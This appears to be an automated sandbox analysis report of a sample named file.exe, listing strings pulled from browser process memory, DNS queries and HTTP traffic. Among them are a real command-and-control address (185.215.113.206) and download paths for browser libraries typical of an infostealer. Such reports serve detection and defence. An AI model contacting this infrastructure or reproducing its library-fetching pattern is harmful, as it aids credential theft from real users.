Source: chrome.exe, 00000002.00000003.2237369422.00001FDC00540000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2236891784.00001FDC0038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2236999634.00001FDC00F5C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: const FACEBOOK_APP_ID=738026486351791;class DoodleShareDialogElement extends PolymerElement{static get is(){return"ntp-doodle-share-dialog"}static get template(){return getTemplate$3()}static get properties(){return{title:String,url:Object}}onFacebookClick_(){const url="https://www.facebook.com/dialog/share"+`?app_id=${FACEBOOK_APP_ID}`+`&href=${encodeURIComponent(this.url.url)}`+`&hashtag=${encodeURIComponent("#GoogleDoodle")}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kFacebook)}onTwitterClick_(){const url="https://twitter.com/intent/tweet"+`?text=${encodeURIComponent(`${this.title}\n${this.url.url}`)}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kTwitter)}onEmailClick_(){const url=`mailto:?subject=${encodeURIComponent(this.title)}`+`&body=${encodeURIComponent(this.url.url)}`;WindowProxy.getInstance().navigate(url);this.notifyShare_(DoodleShareChannel.kEmail)}onCopyClick_(){this.$.url.select();navigator.clipboard.writeText(this.url.url);this.notifyShare_(DoodleShareChannel.kLinkCopy)}onCloseClick_(){this.$.dialog.close()}notifyShare_(channel){this.dispatchEvent(new CustomEvent("share",{detail:channel}))}}customElements.define(DoodleShareDialogElement.is,DoodleShareDialogElement);function getTemplate$2(){return html`<!--_html_template_start_--><style include="cr-hidden-style">:host{--ntp-logo-height:200px;display:flex;flex-direction:column;flex-shrink:0;justify-content:flex-end;min-height:var(--ntp-logo-height)}:host([reduced-logo-space-enabled_]){--ntp-logo-height:168px}:host([doodle-boxed_]){justify-content:flex-end}#logo{forced-color-adjust:none;height:92px;width:272px}:host([single-colored]) #logo{-webkit-mask-image:url(icons/google_logo.svg);-webkit-mask-repeat:no-repeat;-webkit-mask-size:100%;background-color:var(--ntp-logo-color)}:host(:not([single-colored])) #logo{background-image:url(icons/google_logo.svg)}#imageDoodle{cursor:pointer;outline:0}#imageDoodle[tabindex='-1']{cursor:auto}:host([doodle-boxed_]) #imageDoodle{background-color:var(--ntp-logo-box-color);border-radius:20px;padding:16px 24px}:host-context(.focus-outline-visible) #imageDoodle:focus{box-shadow:0 0 0 2px rgba(var(--google-blue-600-rgb),.4)}#imageContainer{display:flex;height:fit-content;position:relative;width:fit-content}#image{max-height:var(--ntp-logo-height);max-width:100%}:host([doodle-boxed_]) #image{max-height:160px}:host([doodle-boxed_][reduced-logo-space-enabled_]) #image{max-height:128px}#animation{height:100%;pointer-events:none;position:absolute;width:100%}#shareButton{background-color:var(--ntp-logo-share-button-background-color,none);border:none;height:var(--ntp-logo-share-button-height,0);left:var(--ntp-logo-share-button-x,0);min-width:var(--ntp-logo-share-button-width,0);opacity:.8;outline:initial;padding:2px;position:absolute;top:var(--ntp-logo-share-button-y,0);width:var(--ntp-logo-share-button-width,0)}#shareButton:hover{opacity:1}#shareButton img{height:100%;width:100%}#iframe{border:none;
Source: chrome.exe, 00000002.00000003.2237369422.00001FDC00540000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2236891784.00001FDC0038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2236999634.00001FDC00F5C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: const FACEBOOK_APP_ID=738026486351791;class DoodleShareDialogElement extends PolymerElement{static get is(){return"ntp-doodle-share-dialog"}static get template(){return getTemplate$3()}static get properties(){return{title:String,url:Object}}onFacebookClick_(){const url="https://www.facebook.com/dialog/share"+`?app_id=${FACEBOOK_APP_ID}`+`&href=${encodeURIComponent(this.url.url)}`+`&hashtag=${encodeURIComponent("#GoogleDoodle")}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kFacebook)}onTwitterClick_(){const url="https://twitter.com/intent/tweet"+`?text=${encodeURIComponent(`${this.title}\n${this.url.url}`)}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kTwitter)}onEmailClick_(){const url=`mailto:?subject=${encodeURIComponent(this.title)}`+`&body=${encodeURIComponent(this.url.url)}`;WindowProxy.getInstance().navigate(url);this.notifyShare_(DoodleShareChannel.kEmail)}onCopyClick_(){this.$.url.select();navigator.clipboard.writeText(this.url.url);this.notifyShare_(DoodleShareChannel.kLinkCopy)}onCloseClick_(){this.$.dialog.close()}notifyShare_(channel){this.dispatchEvent(new CustomEvent("share",{detail:channel}))}}customElements.define(DoodleShareDialogElement.is,DoodleShareDialogElement);function getTemplate$2(){return html`<!--_html_template_start_--><style include="cr-hidden-style">:host{--ntp-logo-height:200px;display:flex;flex-direction:column;flex-shrink:0;justify-content:flex-end;min-height:var(--ntp-logo-height)}:host([reduced-logo-space-enabled_]){--ntp-logo-height:168px}:host([doodle-boxed_]){justify-content:flex-end}#logo{forced-color-adjust:none;height:92px;width:272px}:host([single-colored]) #logo{-webkit-mask-image:url(icons/google_logo.svg);-webkit-mask-repeat:no-repeat;-webkit-mask-size:100%;background-color:var(--ntp-logo-color)}:host(:not([single-colored])) #logo{background-image:url(icons/google_logo.svg)}#imageDoodle{cursor:pointer;outline:0}#imageDoodle[tabindex='-1']{cursor:auto}:host([doodle-boxed_]) #imageDoodle{background-color:var(--ntp-logo-box-color);border-radius:20px;padding:16px 24px}:host-context(.focus-outline-visible) #imageDoodle:focus{box-shadow:0 0 0 2px rgba(var(--google-blue-600-rgb),.4)}#imageContainer{display:flex;height:fit-content;position:relative;width:fit-content}#image{max-height:var(--ntp-logo-height);max-width:100%}:host([doodle-boxed_]) #image{max-height:160px}:host([doodle-boxed_][reduced-logo-space-enabled_]) #image{max-height:128px}#animation{height:100%;pointer-events:none;position:absolute;width:100%}#shareButton{background-color:var(--ntp-logo-share-button-background-color,none);border:none;height:var(--ntp-logo-share-button-height,0);left:var(--ntp-logo-share-button-x,0);min-width:var(--ntp-logo-share-button-width,0);opacity:.8;outline:initial;padding:2px;position:absolute;top:var(--ntp-logo-share-button-y,0);width:var(--ntp-logo-share-button-width,0)}#shareButton:hover{opacity:1}#shareButton img{height:100%;width:100%}#iframe{border:none;
Source: chrome.exe, 00000002.00000002.2362514989.00001FDC00718000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2417878197.00001FDC00C64000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: chrome.exe, 00000002.00000002.2356922821.00001FDC0042C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/: equals www.youtube.com (Youtube)
Source: chrome.exe, 00000002.00000002.2419499487.00001FDC00E34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2417229930.00001FDC00BE4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2419647466.00001FDC00E74000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/?feature=ytca equals www.youtube.com (Youtube)
Source: chrome.exe, 00000002.00000002.2417229930.00001FDC00BE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/?feature=ytcaogl equals www.youtube.com (Youtube)
Source: chrome.exe, 00000002.00000002.2356922821.00001FDC0042C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/J equals www.youtube.com (Youtube)
Source: chrome.exe, 00000002.00000002.2364525886.00001FDC00744000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2420666070.00001FDC010AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/s/notifications/manifest/cr_install.html equals www.youtube.com (Youtube)
Source: chrome.exe, 00000002.00000002.2364525886.00001FDC00744000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/s/notifications/manifest/cr_install.html?ls equals www.youtube.com (Youtube)
Source: chrome.exe, 00000002.00000002.2420666070.00001FDC010AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/s/notifications/manifest/cr_install.htmlB equals www.youtube.com (Youtube)
Source: chrome.exe, 00000002.00000002.2420666070.00001FDC010AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/s/notifications/manifest/cr_install.htmllt equals www.youtube.com (Youtube)
Source: chrome.exe, 00000002.00000002.2417229930.00001FDC00BE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.youtube.com equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com
Source: global traffic	DNS traffic detected: DNS query: ntp.msn.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: sb.scorecardresearch.com
Source: global traffic	DNS traffic detected: DNS query: c.msn.com
Source: global traffic	DNS traffic detected: DNS query: assets.msn.com
Source: global traffic	DNS traffic detected: DNS query: api.msn.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com

Source: unknown

HTTP traffic detected: POST /log?format=json&hasfast=true HTTP/1.1Host: play.google.comConnection: keep-aliveContent-Length: 914sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/x-www-form-urlencoded;charset=UTF-8Accept: */*Origin: chrome-untrusted://new-tab-pageX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic	HTTP traffic detected: HTTP/1.1 503 Service UnavailableContent-Length: 27Connection: closeContent-Type: text/htmlDate: Thu, 31 Oct 2024 00:18:38 GMTServer: Microsoft-IIS/10.0Set-Cookie: ARRAffinity=436842ee8924729835dcf04d775f0933f840858fe9ce2ecfe11725e4533a4712;Path=/;HttpOnly;Secure;Domain=api.edgeoffer.microsoft.comSet-Cookie: ARRAffinitySameSite=436842ee8924729835dcf04d775f0933f840858fe9ce2ecfe11725e4533a4712;Path=/;HttpOnly;SameSite=None;Secure;Domain=api.edgeoffer.microsoft.comX-Powered-By: ASP.NET
Source: global traffic	HTTP traffic detected: HTTP/1.1 503 Service UnavailableContent-Length: 27Connection: closeContent-Type: text/htmlDate: Thu, 31 Oct 2024 00:18:40 GMTServer: Microsoft-IIS/10.0Set-Cookie: ARRAffinity=436842ee8924729835dcf04d775f0933f840858fe9ce2ecfe11725e4533a4712;Path=/;HttpOnly;Secure;Domain=api.edgeoffer.microsoft.comSet-Cookie: ARRAffinitySameSite=436842ee8924729835dcf04d775f0933f840858fe9ce2ecfe11725e4533a4712;Path=/;HttpOnly;SameSite=None;Secure;Domain=api.edgeoffer.microsoft.comX-Powered-By: ASP.NET
Source: global traffic	HTTP traffic detected: HTTP/1.1 503 Service UnavailableContent-Length: 27Connection: closeContent-Type: text/htmlDate: Thu, 31 Oct 2024 00:18:42 GMTServer: Microsoft-IIS/10.0Set-Cookie: ARRAffinity=436842ee8924729835dcf04d775f0933f840858fe9ce2ecfe11725e4533a4712;Path=/;HttpOnly;Secure;Domain=api.edgeoffer.microsoft.comSet-Cookie: ARRAffinitySameSite=436842ee8924729835dcf04d775f0933f840858fe9ce2ecfe11725e4533a4712;Path=/;HttpOnly;SameSite=None;Secure;Domain=api.edgeoffer.microsoft.comX-Powered-By: ASP.NET

Source: file.exe, file.exe, 00000000.00000002.2612006536.0000000000B16000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2612006536.0000000000A5C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2613572766.000000000119E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000000.00000002.2613572766.00000000011F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000000.00000002.2613572766.0000000001212000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2613572766.00000000011F6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2612006536.0000000000A5C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2612006536.0000000000B44000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2633990248.00000000239C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php
Source: file.exe, 00000000.00000002.2613572766.0000000001212000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php2
Source: file.exe, 00000000.00000002.2613572766.0000000001212000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php3
Source: file.exe, 00000000.00000002.2613572766.0000000001212000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpB
Source: file.exe, 00000000.00000002.2613572766.0000000001212000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpBrowser
Source: file.exe, 00000000.00000002.2613572766.0000000001212000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpI
Source: file.exe, 00000000.00000002.2613572766.0000000001212000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpJ
Source: file.exe, 00000000.00000002.2613572766.00000000011F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpK
Source: file.exe, 00000000.00000002.2613572766.00000000011F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpg
Source: file.exe, 00000000.00000002.2612006536.0000000000A5C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpion:
Source: file.exe, 00000000.00000002.2613572766.00000000011F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpj
Source: file.exe, 00000000.00000002.2613572766.0000000001212000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpre
Source: file.exe, 00000000.00000002.2613572766.00000000011F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/freebl3.dll$
Source: file.exe, 00000000.00000002.2613572766.00000000011F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/freebl3.dllR
Source: file.exe, 00000000.00000002.2613572766.00000000011F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/mozglue.dll
Source: file.exe, 00000000.00000002.2613572766.00000000011F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/mozglue.dllr
Source: file.exe, 00000000.00000002.2613572766.00000000011F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/msvcp140.dll
Source: file.exe, 00000000.00000002.2613572766.00000000011F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/nss3.dll
Source: file.exe, 00000000.00000002.2613572766.00000000011F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/nss3.dll(
Source: file.exe, 00000000.00000002.2613572766.00000000011F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/softokn3.dll
Source: file.exe, 00000000.00000002.2613572766.00000000011F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/softokn3.dllu
Source: file.exe, 00000000.00000002.2613572766.00000000011F6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2612006536.0000000000B44000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/sqlite3.dll
Source: file.exe, 00000000.00000002.2613572766.0000000001212000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2613572766.00000000011E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/vcruntime140.dll
Source: file.exe, 00000000.00000002.2613572766.00000000011E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/vcruntime140.dllq
Source: file.exe, 00000000.00000002.2612006536.0000000000A5C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206GCB
Source: chrome.exe, 00000002.00000003.2234214400.00001FDC00B0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2233477046.00001FDC0038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2234164188.00001FDC0038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2415324868.00001FDC0080C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2365903246.00004F7C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/1423136
Source: chrome.exe, 00000002.00000003.2234214400.00001FDC00B0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2233477046.00001FDC0038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2234164188.00001FDC0038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2417878197.00001FDC00C64000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2365903246.00004F7C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2162
Source: chrome.exe, 00000002.00000003.2234214400.00001FDC00B0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2233477046.00001FDC0038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2234164188.00001FDC0038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2417878197.00001FDC00C64000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2365903246.00004F7C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2517
Source: chrome.exe, 00000002.00000002.2417878197.00001FDC00C64000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2517v
Source: chrome.exe, 00000002.00000003.2234214400.00001FDC00B0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2233477046.00001FDC0038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2234164188.00001FDC0038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2417878197.00001FDC00C64000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2365903246.00004F7C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2970
Source: chrome.exe, 00000002.00000003.2234214400.00001FDC00B0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2233477046.00001FDC0038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2234164188.00001FDC0038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2417878197.00001FDC00C64000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2365903246.00004F7C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3078
Source: chrome.exe, 00000002.00000003.2234214400.00001FDC00B0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2233477046.00001FDC0038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2234164188.00001FDC0038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2417878197.00001FDC00C64000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2365903246.00004F7C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3205
Source: chrome.exe, 00000002.00000003.2234214400.00001FDC00B0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2233477046.00001FDC0038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2234164188.00001FDC0038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2417878197.00001FDC00C64000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2365339506.00004F7C0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2365903246.00004F7C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3206
Source: chrome.exe, 00000002.00000002.2417878197.00001FDC00C64000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3206_
Source: chrome.exe, 00000002.00000003.2234214400.00001FDC00B0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2233477046.00001FDC0038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2234164188.00001FDC0038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2417878197.00001FDC00C64000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2365903246.00004F7C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3452
Source: chrome.exe, 00000002.00000003.2234214400.00001FDC00B0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2233477046.00001FDC0038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2234164188.00001FDC0038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2417878197.00001FDC00C64000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2365903246.00004F7C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3498
Source: chrome.exe, 00000002.00000003.2234214400.00001FDC00B0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2233477046.00001FDC0038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2234164188.00001FDC0038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2417878197.00001FDC00C64000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2365903246.00004F7C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3502
Source: chrome.exe, 00000002.00000003.2234214400.00001FDC00B0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2233477046.00001FDC0038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2234164188.00001FDC0038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2417878197.00001FDC00C64000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2365903246.00004F7C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3577
Source: chrome.exe, 00000002.00000002.2417878197.00001FDC00C64000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3577s
Source: chrome.exe, 00000002.00000003.2234214400.00001FDC00B0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2233477046.00001FDC0038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2234164188.00001FDC0038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2417878197.00001FDC00C64000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2365339506.00004F7C0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2365903246.00004F7C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3584
Source: chrome.exe, 00000002.00000003.2234214400.00001FDC00B0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2233477046.00001FDC0038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2234164188.00001FDC0038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2417878197.00001FDC00C64000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2365903246.00004F7C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3586
Source: msedge.exe, 00000006.00000003.2365903246.00004F7C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3623
Source: msedge.exe, 00000006.00000003.2365903246.00004F7C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3624
Source: msedge.exe, 00000006.00000003.2365903246.00004F7C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3625
Source: chrome.exe, 00000002.00000003.2234214400.00001FDC00B0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2233477046.00001FDC0038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2234164188.00001FDC0038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2417878197.00001FDC00C64000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2365339506.00004F7C0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2365903246.00004F7C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3832
Source: chrome.exe, 00000002.00000002.2417878197.00001FDC00C64000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3832P
Source: chrome.exe, 00000002.00000003.2234214400.00001FDC00B0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2233477046.00001FDC0038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2234164188.00001FDC0038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2417878197.00001FDC00C64000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2365339506.00004F7C0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2365903246.00004F7C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3862
Source: chrome.exe, 00000002.00000003.2234214400.00001FDC00B0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2233477046.00001FDC0038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2234164188.00001FDC0038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2417878197.00001FDC00C64000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2365339506.00004F7C0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2365903246.00004F7C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3965
Source: chrome.exe, 00000002.00000002.2417878197.00001FDC00C64000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3965M
Source: chrome.exe, 00000002.00000003.2234214400.00001FDC00B0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2233477046.00001FDC0038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2234164188.00001FDC0038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2417878197.00001FDC00C64000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2365903246.00004F7C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3970
Source: chrome.exe, 00000002.00000002.2417878197.00001FDC00C64000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3970K
Source: chrome.exe, 00000002.00000002.2417878197.00001FDC00C64000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3970P
Source: chrome.exe, 00000002.00000003.2234214400.00001FDC00B0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2233477046.00001FDC0038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2234164188.00001FDC0038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2417878197.00001FDC00C64000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2365903246.00004F7C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4324
